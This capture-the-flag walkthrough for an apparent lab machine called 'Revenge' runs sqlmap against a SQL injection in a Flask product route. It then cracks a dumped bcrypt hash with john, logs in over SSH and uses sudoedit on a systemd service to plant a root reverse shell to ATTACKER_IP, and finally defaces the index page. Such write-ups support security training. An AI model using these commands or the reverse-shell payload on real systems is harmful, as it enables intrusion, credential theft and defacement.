Revenge
Difficulty | IP Address | Room Link | ||||
---|---|---|---|---|---|---|
Medium | 10.10.103.117 | Revenge |
[ Read through your mission and continue ]
This room is a sequel to a room that I’ve done before: Blog
The room tells us to download a message file and read it:
Looks like our mission is to break into the target server that’s running a website and deface the front page
[ flag1 ]
As always, we begin with a full nmap scan on the target machine:
sudo nmap -sC -sV -vv -T4 -p- 10.10.103.117
Results:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[REDACTED]
80/tcp open http syn-ack ttl 61 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see that only 2 ports are open: 22 (SSH), 80 (HTTP)
Since there’s nothing much we can do with the SSH server right now, let’s go ahead and visit the HTTP website:
We are brought to an ecommerce website that sells rubber ducks
I first searched for any low-hanging fruit on the site, such as checking the /robots.txt file and looking at the source code. However, there was nothing of interest there.
Next, I took a look around the website. What piqued my interest was the Login page:
I tried to log in with common default credentials like admin:admin
. However, they didn’t work. I also tried some common SQL injection payloads such as admin' OR 1=1 --
, but those did not work as well. To be certain, I ran sqlmap
on the login page, but it was unable to return any results. Hitting this dead-end, I decided to move on first.
I then ran a gobuster
directory scan on the main page:
gobuster dir -u http://10.10.103.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 25
Gobuster was able to find 2 interesting directories: /admin and /requirements.txt
If we visit /admin, we see the same login page, but this time for the admin:
I did the same enumeration as with the earlier login page on /login, but once again, I was unable to find anything useful.
I then took a look at /requirements.txt:
Interesting… we can tell from the various libraries that the web server is running Flask. This also tells us that the server is using Python.
Let’s update our Gobuster scan to see if it can enumerate any Python files:
gobuster dir -u http://10.10.103.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,py -t 25
Nice! Gobuster managed to find the app.py file for this web server!
The app.py file contains the backend code for the website. Let’s download it and take a look:
from flask import Flask, render_template, request, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import create_engine
from flask_bcrypt import Bcrypt
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
bcrypt = Bcrypt(app)
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc')
# Main Index Route
@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():
return render_template('index.html', title='Home')
# Contact Route
@app.route('/contact', methods=['GET', 'POST'])
def contact():
if request.method == 'POST':
flash('Thank you for reaching out. Someone will be in touch shortly.')
return render_template('contact.html', title='Contact')
elif request.method == 'GET':
return render_template('contact.html', title='Contact')
# Products Route
@app.route('/products', methods=['GET'])
def products():
return render_template('products.html', title='Our Products')
# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
with eng.connect() as con:
# Executes the SQL Query
# This should be the vulnerable portion of the application
rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
product_selected = rs.fetchone() # Returns the entire row in a list
return render_template('product.html', title=product_selected[1], result=product_selected)
# Login
@app.route('/login', methods=['GET'])
def login():
if request.method == 'GET':
return render_template('login.html', title='Customer Login')
# Admin login
@app.route('/admin', methods=['GET'])
def admin():
if request.method == 'GET':
return render_template('admin.html', title='Admin Login')
# Page Not found error handler
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html', error=e), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html', error=e), 500
if __name__ == "__main__":
app.run('0.0.0.0')
If we take a closer look at the Product Route, we see something very interesting:
# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
with eng.connect() as con:
# Executes the SQL Query
# This should be the vulnerable portion of the application
rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
product_selected = rs.fetchone() # Returns the entire row in a list
return render_template('product.html', title=product_selected[1], result=product_selected)
It looks like the product_id that is supplied in the URL is directly inserted into the SQL query without any input sanitization. This seems to be a potential SQL injection point! There is even a comment left behind that confirms that this is a “vulnerable portion of the application”.
Let’s now use sqlmap
to test this endpoint:
sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 --dbs
Great! sqlmap
managed to identify 3 payloads that this end point is vulnerable to. It was also able to enumerate the databases on the server. The duckyinc database looks especially interesting!
Let’s take a look at the tables within duckyinc:
sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc --tables
There are 3 tables within duckyinc: system_user, user and product
Let’s dump out all of the data in the user table:
sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc -T user --dump
We can find flag1 within one of the user entries!
[ flag2 ]
Now let’s dump out all of the data in the system_user table:
sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc -T system_user --dump
Nice, we’ve obtained the administrator’s username:
server-admin
We also have their hashed password:
$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
We can use john
to crack this password:
john hash --wordlist=/usr/share/wordlists/rockyou.txt
After a couple of seconds, john
was able to crack the administrator’s password:
We now have the admin’s credentials:
server-admin : inuyasha
From app.py, we can see that the login forms at /admin and /login do not actually lead anywhere. Hence, the only other place where these credentials might work would be on the SSH server. Let’s try logging in!
And we’re in!
flag2 can be found in the home directory of server-admin:
### [ flag3 ]
Now let’s find a way to escalate our privileges.
The first thing I did was to check server-admin’s sudo privileges:
Interesting, it looks like there is a service file called duckyinc.service that we can run using systemctl
. We’ll be able to run this file as root as well.
Let’s first find out where this service file is located:
find / -iname 'duckyinc.service' 2>/dev/null
It’s located in: /etc/systemd/system/
Let’s now take a look at its contents:
From ExecStart
, we know that this service runs gunicorn
when it is started, which will then serve the webapp.
However, this doesn’t really matter as if we are able to overwrite this file, we will be able to make the service run any command that we want!
I tried to edit the service file but soon realised that it is not writable by us:
Fortunately, if we take a closer look at our sudo privileges again, we’ll notice that we can actually run sudoedit
on the duckyinc.service file:
sudoedit
allows users to edit files with super user privileges.
Hence, we can edit duckyinc.service with:
sudoedit /etc/systemd/system/duckyinc.service
We then replace the file with the following code:
[Unit]
Description=abc
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1"
[Install]
WantedBy=multi-user.target
Now, when duckyinc.service is started, a reverse shell connection will be opened back to our local machine. Since the service is started as root, the reverse shell will be a privileged as well.
With the file saved, we make sure to start a netcat listener on our local machine.
Then, we open the reverse shell by restarting the duckyinc service (as it is already running):
sudo systemctl daemon-reload
sudo /bin/systemctl restart duckyinc.service
(We have to reload the daemon first so that our changes to the duckyinc.service file will be registered)
With that, the reverse shell was successfully opened and we’re now in as root!
Looking into /root, it seems that flag3 is not inside…
I used find
and grep
to try and locate flag3 on the machine, but I couldn’t find it. After spending a long time searching, I decided to refer to the hint:
If we refer back to our mission objectives, we know we need to deface the main page of the website.
The HTML files that make up the website can be found in /var/www/duckyinc/templates/
The main page uses index.html, so I went ahead and replaced the entire file:
echo gg > index.html
With the defacement done, we find that flag3 has appeared in /root!
We can then obtain the final flag: